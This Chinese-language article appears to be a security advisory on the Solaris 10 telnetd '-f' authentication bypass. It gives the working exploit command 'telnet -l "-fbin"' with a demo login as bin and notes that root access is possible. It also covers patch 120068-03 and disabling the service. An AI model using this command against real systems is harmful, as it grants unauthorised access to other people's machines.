telnet安全漏洞分析


telnet安全漏洞是Telnet渐渐减少使用的重要因素之一。那么对于这方面的安全问题,我们就来详细介绍一下。首先来了解一下telnet安全漏洞的基本情况。早期Solaris 2.6、7 和 8 的 telnetd存在一个漏洞, 可以通过/bin/login的环境变数 TTYPROMPT 绕过验证,导致无需身份认证即可登录。最近,Solaris 10的telnet又被发现出现了漏洞,Sun也及时推出了补丁。

我们先来看问题的症状。漏洞出现的系统环境为Solaris 10及以后版本,安装时没有选择默认安装。漏洞表现为通过在Solaris的telnet命令的-l选项后指定任意一个“-fusername”参数,就可以直接登录进入Solaris系统。

命令格式:

  1. telnet -l "-fbin" target_address 

下面是通过telnet安全漏洞以bin用户登录系统的演示。

  1. # telnet -l "-fbin" myhost  
  2. Trying 172.21.60.120...  
  3. Connected to myhost.  
  4. Escape character is '^]'.  
  5. Sun Microsystems Inc.  SunOS 5.10 Generic January 2005  
  6. $ id -a  
  7. uid=2(bin) gid=2(bin) groups=2(bin),3(sys) 

如果管理员修改了/etc/default/login文件,在注释掉CONSOLE行允许root远程登录的情况下,访问者可以利用该漏洞直接以root登录系统,这样对系统危害更大。

Kingcope最早给出了在OpenSolaris中发现的该漏洞的源代码,并称其为“0day”-零日漏洞。文章地址为:http://www.com-winner.com/0day_was_the_case_that_they_gave_me.pdf

该文章中提供一个脚本,运行后用户可以获得被登录系统的adm用户权限。

解决方法:

1. 禁止Solaris 10的telnet服务。

检查本机的telnet服务是否启动。

  1. # svccfg list | grep telnet  
  2. network/telnet  
  3. # svcs -l network/telnet  
  4. fmri svc:/network/telnet:default  
  5. name Telnet server  
  6. enabled true  
  7. stateonline  
  8. next_state  none  
  9. state_time  Mon Feb 26 03:50:13 2007  
  10. restartersvc:/network/inetd:default 

禁止telnet服务。

  1. # svcadm disable svc:/network/telnet:default 

2. 下载安装Sun的安全补丁需Sun服务支持)。

Sun的技术支持工程师Alan Hargreaves在他2月13日的BLOG:http://blogs.sun.com/tpenta/entry/the_in_telnetd_vulnerability_exploit

中提到,最终解决该问题的补丁120068-03已经发布。通过Solaris 10的Update Manager可以下载安装该补丁,如图所示。这里可以看到该补丁是2月21日发布的。

telnet漏洞

需要说明的是Solaris 10的补丁,除了Security和hardware相关补丁可以免费下载,其它都是要服务支持的,就是Sun Service Plan。但是对于知道Patch号的,可以从http://sunsolve.sun.com中单个下载。这里可以在sunsolve上用PatchFinder查找120068-03补丁并下载,安装到系统中。

安装补丁后系统漏洞被禁止。

  1. # showrev -p | grep 120068  
  2. Patch: 120068-01 Obsoletes: Requires: Incompatibles: Packages: SUNWtnetd  
  3. Patch: 120068-03 Obsoletes: Requires: Incompatibles: Packages: SUNWtnetd  
  4. # telnet -l "-fbin" myhost  
  5. Trying 172.21.60.120...  
  6. Connected to myhost.  
  7. Escape character is '^]'.  
  8. Password: 

需要用户输入密码登录,可见当前Solaris 10系统的telnet安全漏洞被修正。

对新发现的Solaris 10的telnet安全漏洞,Sun的反应还算迅速,立刻推出了相应补丁程序。这里也可以看见,任何操作系统都是有Bug存在的,Sun通过OpenSolaris开源,使得系统的bug能尽快被发现和完善。

相关内容

    暂无相关文章